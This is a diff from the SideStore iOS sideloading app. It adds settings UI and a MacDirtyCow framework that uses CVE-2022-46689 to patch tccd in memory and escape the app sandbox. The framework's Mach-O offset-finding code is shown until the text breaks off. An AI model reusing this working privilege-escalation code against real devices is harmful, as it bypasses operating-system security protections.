<outlet property="accountEmailLabel" destination="0uP-Cd-tNX" id="14b-aL-yE3"/>
|
||||||
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
||||||
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
||||||
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
||||||
|
<outlet property="noIdleTimeoutSwitch" destination="iQA-wm-5ag" id="jHC-js-q0Y"/>
|
||||||
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
||||||
</connections>
|
</connections>
|
||||||
</tableViewController>
|
</tableViewController>
|
||||||
|
|||||||
@@ -24,19 +24,21 @@ extension SettingsViewController
|
|||||||
case appRefresh
|
case appRefresh
|
||||||
case instructions
|
case instructions
|
||||||
case credits
|
case credits
|
||||||
|
case mdc
|
||||||
case debug
|
case debug
|
||||||
}
|
}
|
||||||
|
|
||||||
fileprivate enum AppRefreshRow: Int, CaseIterable
|
fileprivate enum AppRefreshRow: Int, CaseIterable
|
||||||
{
|
{
|
||||||
case backgroundRefresh
|
case backgroundRefresh
|
||||||
|
case noIdleTimeout
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
case addToSiri
|
case addToSiri
|
||||||
|
|
||||||
static var allCases: [AppRefreshRow] {
|
static var allCases: [AppRefreshRow] {
|
||||||
guard #available(iOS 14, *) else { return [.backgroundRefresh] }
|
guard #available(iOS 14, *) else { return [.backgroundRefresh, .noIdleTimeout] }
|
||||||
return [.backgroundRefresh, .addToSiri]
|
return [.backgroundRefresh, .noIdleTimeout, .addToSiri]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -53,9 +55,11 @@ extension SettingsViewController
|
|||||||
case sendFeedback
|
case sendFeedback
|
||||||
case refreshAttempts
|
case refreshAttempts
|
||||||
case errorLog
|
case errorLog
|
||||||
|
case clearCache
|
||||||
case resetPairingFile
|
case resetPairingFile
|
||||||
case resetAdiPb
|
case resetAdiPb
|
||||||
case advancedSettings
|
case advancedSettings
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -73,6 +77,8 @@ final class SettingsViewController: UITableViewController
|
|||||||
@IBOutlet private var accountTypeLabel: UILabel!
|
@IBOutlet private var accountTypeLabel: UILabel!
|
||||||
|
|
||||||
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
||||||
|
@IBOutlet private var noIdleTimeoutSwitch: UISwitch!
|
||||||
|
@IBOutlet private var MDCSwitch: UISwitch!
|
||||||
|
|
||||||
@IBOutlet private var versionLabel: UILabel!
|
@IBOutlet private var versionLabel: UILabel!
|
||||||
|
|
||||||
@@ -148,6 +154,30 @@ private extension SettingsViewController
|
|||||||
}
|
}
|
||||||
|
|
||||||
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
||||||
|
self.noIdleTimeoutSwitch.isOn = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
||||||
|
|
||||||
|
let MDCMinimumVersion = OperatingSystemVersion(majorVersion: 14, minorVersion: 0, patchVersion: 0)
|
||||||
|
let MDCMaximumVersion1 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2)
|
||||||
|
let MDCMaximumVersionSep = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0)
|
||||||
|
let MDCMaximumVersion2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0)
|
||||||
|
|
||||||
|
var canUseMDC = false
|
||||||
|
|
||||||
|
if ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMinimumVersion) { // at least 14.0.0
|
||||||
|
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion1) { // not at least 15.7.2 (less than 15.7.2)
|
||||||
|
canUseMDC = true
|
||||||
|
}
|
||||||
|
if !ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersion2) && ProcessInfo.processInfo.isOperatingSystemAtLeast(MDCMaximumVersionSep) { // not at least 16.2.0 but more than 16.0.0
|
||||||
|
canUseMDC = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !canUseMDC {
|
||||||
|
UserDefaults.standard.isMDCEnabled = false
|
||||||
|
}
|
||||||
|
|
||||||
|
self.MDCSwitch.isOn = UserDefaults.standard.isMDCEnabled
|
||||||
|
self.MDCSwitch.isEnabled = canUseMDC
|
||||||
|
|
||||||
if self.isViewLoaded
|
if self.isViewLoaded
|
||||||
{
|
{
|
||||||
@@ -161,7 +191,7 @@ private extension SettingsViewController
|
|||||||
settingsHeaderFooterView.secondaryLabel.isHidden = isHeader
|
settingsHeaderFooterView.secondaryLabel.isHidden = isHeader
|
||||||
settingsHeaderFooterView.button.isHidden = true
|
settingsHeaderFooterView.button.isHidden = true
|
||||||
|
|
||||||
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 8
|
settingsHeaderFooterView.layoutMargins.bottom = isHeader ? 0 : 9
|
||||||
|
|
||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
@@ -207,6 +237,21 @@ private extension SettingsViewController
|
|||||||
|
|
||||||
case .credits:
|
case .credits:
|
||||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
||||||
|
|
||||||
|
case .mdc:
|
||||||
|
if isHeader
|
||||||
|
{
|
||||||
|
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("MACDIRTYCOW", comment: "")
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
#if MACDIRTYCOW
|
||||||
|
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2", comment: "")
|
||||||
|
#else
|
||||||
|
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("This only works on iOS 15 - 15.7.1 and iOS 16 - iOS 16.1.2. This build is not a MacDirtyCow build, therefore this will only lift the 3 app limit", comment: "")
|
||||||
|
#endif
|
||||||
|
settingsHeaderFooterView.secondaryLabel.isHidden = false
|
||||||
|
}
|
||||||
|
|
||||||
case .debug:
|
case .debug:
|
||||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("DEBUG", comment: "")
|
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("DEBUG", comment: "")
|
||||||
@@ -280,6 +325,22 @@ private extension SettingsViewController
|
|||||||
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@IBAction func toggleNoIdleTimeoutEnabled(_ sender: UISwitch)
|
||||||
|
{
|
||||||
|
UserDefaults.standard.isIdleTimeoutDisableEnabled = sender.isOn
|
||||||
|
}
|
||||||
|
|
||||||
|
@IBAction func toggleMDCEnabled(_ sender: UISwitch)
|
||||||
|
{
|
||||||
|
UserDefaults.standard.isMDCEnabled = sender.isOn
|
||||||
|
if sender.isOn {
|
||||||
|
UserDefaults.standard.activeAppsLimit = 69420
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
UserDefaults.standard.activeAppsLimit = 3
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
@IBAction func addRefreshAppsShortcut()
|
@IBAction func addRefreshAppsShortcut()
|
||||||
{
|
{
|
||||||
@@ -291,6 +352,39 @@ private extension SettingsViewController
|
|||||||
self.present(viewController, animated: true, completion: nil)
|
self.present(viewController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func clearCache()
|
||||||
|
{
|
||||||
|
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to clear SideStore's cache?", comment: ""),
|
||||||
|
message: NSLocalizedString("This will remove all temporary files as well as backups for uninstalled apps.", comment: ""),
|
||||||
|
preferredStyle: .actionSheet)
|
||||||
|
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { [weak self] _ in
|
||||||
|
self?.tableView.indexPathForSelectedRow.map { self?.tableView.deselectRow(at: $0, animated: true) }
|
||||||
|
})
|
||||||
|
alertController.addAction(UIAlertAction(title: NSLocalizedString("Clear Cache", comment: ""), style: .destructive) { [weak self] _ in
|
||||||
|
AppManager.shared.clearAppCache { result in
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
self?.tableView.indexPathForSelectedRow.map { self?.tableView.deselectRow(at: $0, animated: true) }
|
||||||
|
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
case .success: break
|
||||||
|
case .failure(let error):
|
||||||
|
let alertController = UIAlertController(title: NSLocalizedString("Unable to Clear Cache", comment: ""), message: error.localizedDescription, preferredStyle: .alert)
|
||||||
|
alertController.addAction(.ok)
|
||||||
|
self?.present(alertController, animated: true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if let popoverController = alertController.popoverPresentationController {
|
||||||
|
popoverController.sourceView = self.view
|
||||||
|
popoverController.sourceRect = CGRect(x: self.view.bounds.midX, y: self.view.bounds.midY, width: 0, height: 0)
|
||||||
|
}
|
||||||
|
|
||||||
|
self.present(alertController, animated: true)
|
||||||
|
}
|
||||||
|
|
||||||
@IBAction func handleDebugModeGesture(_ gestureRecognizer: UISwipeGestureRecognizer)
|
@IBAction func handleDebugModeGesture(_ gestureRecognizer: UISwipeGestureRecognizer)
|
||||||
{
|
{
|
||||||
self.debugGestureCounter += 1
|
self.debugGestureCounter += 1
|
||||||
@@ -377,15 +471,26 @@ extension SettingsViewController
|
|||||||
{
|
{
|
||||||
let cell = super.tableView(tableView, cellForRowAt: indexPath)
|
let cell = super.tableView(tableView, cellForRowAt: indexPath)
|
||||||
|
|
||||||
if #available(iOS 14, *) {}
|
// if #available(iOS 14, *) {}
|
||||||
else if let cell = cell as? InsetGroupTableViewCell,
|
// else if let cell = cell as? InsetGroupTableViewCell,
|
||||||
indexPath.section == Section.appRefresh.rawValue,
|
// indexPath.section == Section.appRefresh.rawValue,
|
||||||
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
// indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||||
|
// {
|
||||||
|
// // Only one row is visible pre-iOS 14.
|
||||||
|
// cell.style = .single
|
||||||
|
// }
|
||||||
|
|
||||||
|
if AppRefreshRow.AllCases().count == 1
|
||||||
{
|
{
|
||||||
// Only one row is visible pre-iOS 14.
|
if let cell = cell as? InsetGroupTableViewCell,
|
||||||
cell.style = .single
|
indexPath.section == Section.appRefresh.rawValue,
|
||||||
|
indexPath.row == AppRefreshRow.backgroundRefresh.rawValue
|
||||||
|
{
|
||||||
|
cell.style = .single
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
return cell
|
return cell
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -396,7 +501,7 @@ extension SettingsViewController
|
|||||||
{
|
{
|
||||||
case .signIn where self.activeTeam != nil: return nil
|
case .signIn where self.activeTeam != nil: return nil
|
||||||
case .account where self.activeTeam == nil: return nil
|
case .account where self.activeTeam == nil: return nil
|
||||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
|
||||||
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||||
self.prepare(headerView, for: section, isHeader: true)
|
self.prepare(headerView, for: section, isHeader: true)
|
||||||
return headerView
|
return headerView
|
||||||
@@ -411,7 +516,7 @@ extension SettingsViewController
|
|||||||
switch section
|
switch section
|
||||||
{
|
{
|
||||||
case .signIn where self.activeTeam != nil: return nil
|
case .signIn where self.activeTeam != nil: return nil
|
||||||
case .signIn, .patreon, .appRefresh:
|
case .signIn, .patreon, .appRefresh, .mdc:
|
||||||
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||||
self.prepare(footerView, for: section, isHeader: false)
|
self.prepare(footerView, for: section, isHeader: false)
|
||||||
return footerView
|
return footerView
|
||||||
@@ -427,7 +532,7 @@ extension SettingsViewController
|
|||||||
{
|
{
|
||||||
case .signIn where self.activeTeam != nil: return 1.0
|
case .signIn where self.activeTeam != nil: return 1.0
|
||||||
case .account where self.activeTeam == nil: return 1.0
|
case .account where self.activeTeam == nil: return 1.0
|
||||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
case .signIn, .account, .patreon, .appRefresh, .credits, .debug, .mdc:
|
||||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: true)
|
||||||
return height
|
return height
|
||||||
|
|
||||||
@@ -442,7 +547,7 @@ extension SettingsViewController
|
|||||||
{
|
{
|
||||||
case .signIn where self.activeTeam != nil: return 1.0
|
case .signIn where self.activeTeam != nil: return 1.0
|
||||||
case .account where self.activeTeam == nil: return 1.0
|
case .account where self.activeTeam == nil: return 1.0
|
||||||
case .signIn, .patreon, .appRefresh:
|
case .signIn, .patreon, .appRefresh, .mdc:
|
||||||
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
let height = self.preferredHeight(for: self.prototypeHeaderFooterView, in: section, isHeader: false)
|
||||||
return height
|
return height
|
||||||
|
|
||||||
@@ -465,11 +570,13 @@ extension SettingsViewController
|
|||||||
switch row
|
switch row
|
||||||
{
|
{
|
||||||
case .backgroundRefresh: break
|
case .backgroundRefresh: break
|
||||||
|
case .noIdleTimeout: break
|
||||||
case .addToSiri:
|
case .addToSiri:
|
||||||
guard #available(iOS 14, *) else { return }
|
guard #available(iOS 14, *) else { return }
|
||||||
self.addRefreshAppsShortcut()
|
self.addRefreshAppsShortcut()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
case .credits:
|
case .credits:
|
||||||
let row = CreditsRow.allCases[indexPath.row]
|
let row = CreditsRow.allCases[indexPath.row]
|
||||||
switch row
|
switch row
|
||||||
@@ -507,6 +614,9 @@ extension SettingsViewController
|
|||||||
let toastView = ToastView(text: NSLocalizedString("Cannot Send Mail", comment: ""), detailText: nil)
|
let toastView = ToastView(text: NSLocalizedString("Cannot Send Mail", comment: ""), detailText: nil)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case .clearCache: self.clearCache()
|
||||||
|
|
||||||
case .resetPairingFile:
|
case .resetPairingFile:
|
||||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||||
let fm = FileManager.default
|
let fm = FileManager.default
|
||||||
@@ -559,6 +669,7 @@ extension SettingsViewController
|
|||||||
ELOG("UIApplication.openSettingsURLString invalid")
|
ELOG("UIApplication.openSettingsURLString invalid")
|
||||||
}
|
}
|
||||||
case .refreshAttempts, .errorLog: break
|
case .refreshAttempts, .errorLog: break
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
default: break
|
default: break
|
||||||
|
|||||||
@@ -27,9 +27,10 @@ public extension UserDefaults
|
|||||||
@NSManaged var preferredServerID: String?
|
@NSManaged var preferredServerID: String?
|
||||||
|
|
||||||
@NSManaged var isBackgroundRefreshEnabled: Bool
|
@NSManaged var isBackgroundRefreshEnabled: Bool
|
||||||
|
@NSManaged var isIdleTimeoutDisableEnabled: Bool
|
||||||
@NSManaged var isDebugModeEnabled: Bool
|
@NSManaged var isDebugModeEnabled: Bool
|
||||||
@NSManaged var presentedLaunchReminderNotification: Bool
|
@NSManaged var presentedLaunchReminderNotification: Bool
|
||||||
|
@NSManaged var isMDCEnabled: Bool
|
||||||
@NSManaged var legacySideloadedApps: [String]?
|
@NSManaged var legacySideloadedApps: [String]?
|
||||||
|
|
||||||
@NSManaged var isLegacyDeactivationSupported: Bool
|
@NSManaged var isLegacyDeactivationSupported: Bool
|
||||||
@@ -72,6 +73,7 @@ public extension UserDefaults
|
|||||||
|
|
||||||
let defaults = [
|
let defaults = [
|
||||||
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
|
#keyPath(UserDefaults.isBackgroundRefreshEnabled): true,
|
||||||
|
#keyPath(UserDefaults.isIdleTimeoutDisableEnabled): true,
|
||||||
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
|
#keyPath(UserDefaults.isLegacyDeactivationSupported): isLegacyDeactivationSupported,
|
||||||
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
#keyPath(UserDefaults.activeAppLimitIncludesExtensions): activeAppLimitIncludesExtensions,
|
||||||
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
#keyPath(UserDefaults.localServerSupportsRefreshing): localServerSupportsRefreshing,
|
||||||
|
|||||||
@@ -4,8 +4,8 @@
|
|||||||
<dict>
|
<dict>
|
||||||
<key>ALTAppGroups</key>
|
<key>ALTAppGroups</key>
|
||||||
<array>
|
<array>
|
||||||
<string>group.com.SideStore.SideStore</string>
|
|
||||||
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
<string>group.$(APP_GROUP_IDENTIFIER)</string>
|
||||||
|
<string>group.com.SideStore.SideStore</string>
|
||||||
</array>
|
</array>
|
||||||
<key>CFBundleDevelopmentRegion</key>
|
<key>CFBundleDevelopmentRegion</key>
|
||||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
// Configuration settings file format documentation can be found at:
|
// Configuration settings file format documentation can be found at:
|
||||||
// https://help.apple.com/xcode/#/dev745c5c974
|
// https://help.apple.com/xcode/#/dev745c5c974
|
||||||
|
|
||||||
MARKETING_VERSION = 0.5.1
|
MARKETING_VERSION = 0.5.5
|
||||||
CURRENT_PROJECT_VERSION = 5010
|
CURRENT_PROJECT_VERSION = 5050
|
||||||
|
|
||||||
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
// Vars to be overwritten by `CodeSigning.xcconfig` if exists
|
||||||
DEVELOPMENT_TEAM = S32Z3HMYVQ
|
DEVELOPMENT_TEAM = S32Z3HMYVQ
|
||||||
|
|||||||
2
Dependencies/Roxas
vendored
2
Dependencies/Roxas
vendored
Submodule Dependencies/Roxas updated: d07c467b6f...c28b400621
2
Dependencies/libimobiledevice
vendored
2
Dependencies/libimobiledevice
vendored
Submodule Dependencies/libimobiledevice updated: 6fc41f57fc...04c023317f
2
Dependencies/libplist
vendored
2
Dependencies/libplist
vendored
Submodule Dependencies/libplist updated: d45396aad9...258d3c24aa
21
MacDirtyCow/MacDirtyCow.h
Normal file
21
MacDirtyCow/MacDirtyCow.h
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
//
|
||||||
|
// MacDirtyCow.h
|
||||||
|
// MacDirtyCow
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
//! Project version number for MacDirtyCow.
|
||||||
|
FOUNDATION_EXPORT double MacDirtyCowVersionNumber;
|
||||||
|
|
||||||
|
//! Project version string for MacDirtyCow.
|
||||||
|
FOUNDATION_EXPORT const unsigned char MacDirtyCowVersionString[];
|
||||||
|
|
||||||
|
// In this header, you should import all the public headers of your framework using statements like #import <MacDirtyCow/PublicHeader.h>
|
||||||
|
|
||||||
|
#include "grant_full_disk_access.h"
|
||||||
|
#include "helpers.h"
|
||||||
|
#include "vm_unaligned_copy_switch_race.h"
|
||||||
16
MacDirtyCow/grant_full_disk_access.h
Normal file
16
MacDirtyCow/grant_full_disk_access.h
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
//
|
||||||
|
// grant_full_disk_access.h
|
||||||
|
// AltStore
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifndef grant_full_disk_access_h
|
||||||
|
#define grant_full_disk_access_h
|
||||||
|
@import Foundation;
|
||||||
|
|
||||||
|
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||||
|
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||||
|
bool patch_installd(void);
|
||||||
|
#endif /* grant_full_disk_access_h */
|
||||||
618
MacDirtyCow/grant_full_disk_access.m
Normal file
618
MacDirtyCow/grant_full_disk_access.m
Normal file
@@ -0,0 +1,618 @@
|
|||||||
|
//
|
||||||
|
// grant_full_disk_access.m
|
||||||
|
// MacDirtyCow
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
@import Darwin;
|
||||||
|
@import Foundation;
|
||||||
|
@import MachO;
|
||||||
|
|
||||||
|
#import <mach-o/fixup-chains.h>
|
||||||
|
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||||
|
// WDBFontOverwrite
|
||||||
|
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||||
|
// Please don't call this code on iOS 14 or below
|
||||||
|
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||||
|
#import "grant_full_disk_access.h"
|
||||||
|
#import "helpers.h"
|
||||||
|
#import "vm_unaligned_copy_switch_race.h"
|
||||||
|
|
||||||
|
typedef NSObject* xpc_object_t;
|
||||||
|
typedef xpc_object_t xpc_connection_t;
|
||||||
|
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||||
|
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||||
|
xpc_object_t _Nullable const* values, size_t count);
|
||||||
|
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||||
|
uint64_t flags);
|
||||||
|
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||||
|
void xpc_connection_resume(xpc_connection_t connection);
|
||||||
|
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||||
|
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||||
|
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||||
|
xpc_object_t message);
|
||||||
|
xpc_object_t xpc_bool_create(bool value);
|
||||||
|
xpc_object_t xpc_string_create(const char* string);
|
||||||
|
xpc_object_t xpc_null_create(void);
|
||||||
|
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||||
|
|
||||||
|
int64_t sandbox_extension_consume(const char* token);
|
||||||
|
|
||||||
|
// MARK: - patchfind
|
||||||
|
|
||||||
|
struct grant_full_disk_access_offsets {
|
||||||
|
uint64_t offset_addr_s_com_apple_tcc_;
|
||||||
|
uint64_t offset_padding_space_for_read_write_string;
|
||||||
|
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||||
|
uint64_t offset_auth_got__sandbox_init;
|
||||||
|
uint64_t offset_just_return_0;
|
||||||
|
bool is_arm64e;
|
||||||
|
};
|
||||||
|
|
||||||
|
static bool patchfind_sections(void* executable_map,
|
||||||
|
struct segment_command_64** data_const_segment_out,
|
||||||
|
struct symtab_command** symtab_out,
|
||||||
|
struct dysymtab_command** dysymtab_out) {
|
||||||
|
struct mach_header_64* executable_header = executable_map;
|
||||||
|
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||||
|
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||||
|
load_command_index++) {
|
||||||
|
switch (load_command->cmd) {
|
||||||
|
case LC_SEGMENT_64: {
|
||||||
|
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||||
|
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||||
|
*data_const_segment_out = segment;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_SYMTAB: {
|
||||||
|
*symtab_out = (struct symtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_DYSYMTAB: {
|
||||||
|
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||||
|
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||||
|
return last_section->offset + last_section->size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||||
|
const char* needle) {
|
||||||
|
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - executable_map;
|
||||||
|
for (int i = 0; i < executable_length; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||||
|
if ((val & 0xfffffffful) == str_file_offset) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||||
|
// TCCDSyncAccessAction::sequencer
|
||||||
|
// mov x0, #0
|
||||||
|
// ret
|
||||||
|
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - executable_map;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||||
|
struct segment_command_64* data_const_segment,
|
||||||
|
struct symtab_command* symtab_command,
|
||||||
|
struct dysymtab_command* dysymtab_command,
|
||||||
|
const char* target_symbol_name) {
|
||||||
|
uint64_t target_symbol_index = 0;
|
||||||
|
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||||
|
struct nlist_64* sym =
|
||||||
|
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||||
|
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||||
|
if (strcmp(sym_name, target_symbol_name)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||||
|
target_symbol_index = sym_index;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct section_64* section_array =
|
||||||
|
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* first_section = §ion_array[0];
|
||||||
|
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||||
|
strcmp(first_section->sectname, "__got") == 0)) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||||
|
|
||||||
|
for (int i = 0; i < first_section->size; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||||
|
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||||
|
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||||
|
return first_section->offset + i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool patchfind(void* executable_map, size_t executable_length,
|
||||||
|
struct grant_full_disk_access_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||||
|
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||||
|
printf("no com.apple.tcc. string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_padding_space_for_read_write_string =
